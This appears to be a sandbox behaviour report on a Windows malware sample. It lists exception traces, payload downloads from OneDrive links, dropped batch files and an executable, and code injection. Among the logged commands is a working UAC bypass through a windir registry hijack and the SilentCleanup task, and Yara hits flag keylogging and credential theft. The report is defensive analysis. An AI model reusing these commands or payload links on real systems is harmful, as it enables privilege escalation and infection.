__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21164&authkey=ANROjRWx1nqVZnY
request	GET https://l5celg.sn.files.1drv.com/y4mLv-GqBjhaOB-mLJQgnVgkJCnpmMVYtpQjObQnaZ2ICEvU_3slIlmM8hKoW6fzonHpOKQj9HLBz9pb93NCO-pwHLbMUwkj2_g8d-Aei7CkflN5HcEdHSyc0HTOihKZZ_mpA1Nxy9Rc64DBQqnSkxz0WCtr49llNeElSJ-6Gtwio1lzIg6B36LMbCy2OD_H-_Z-c6mpVGqdMQEpgm4NsDO7w/Ykpsyzzdkhppcdowwcfwlzpgevpatcf?download&psid=1
request	GET https://l5celg.sn.files.1drv.com/y4miF6XlED8SY5--LgS44ahEhDcYCFwMTUFKt2cmNHEgwJC3dqKFsQUhuZ46dpQaoIwHZ9KrpMep0rTZkQKeIKr3PZ5VY_INk0UmRCYL9Fuve_Yapbe60tK7jScYNy1Diy91sotH3hSU3uEuESB1dR0pXlM2-y46BCMiXPgUnjHMhiUL6snOzGjoSuvMFM7tYUHYBSIwPEsZwIMl7BeBoMmvw/Ykpsyzzdkhppcdowwcfwlzpgevpatcf?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2020 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x042c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2020 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Libraries\Ykpsyzz\Ykpsyzz.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2020 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x02051000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: f1615d030d1d02ee32df7c8879c7b58f4085afca

Allocates execute permission to another process indicative of possible code injection (12 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
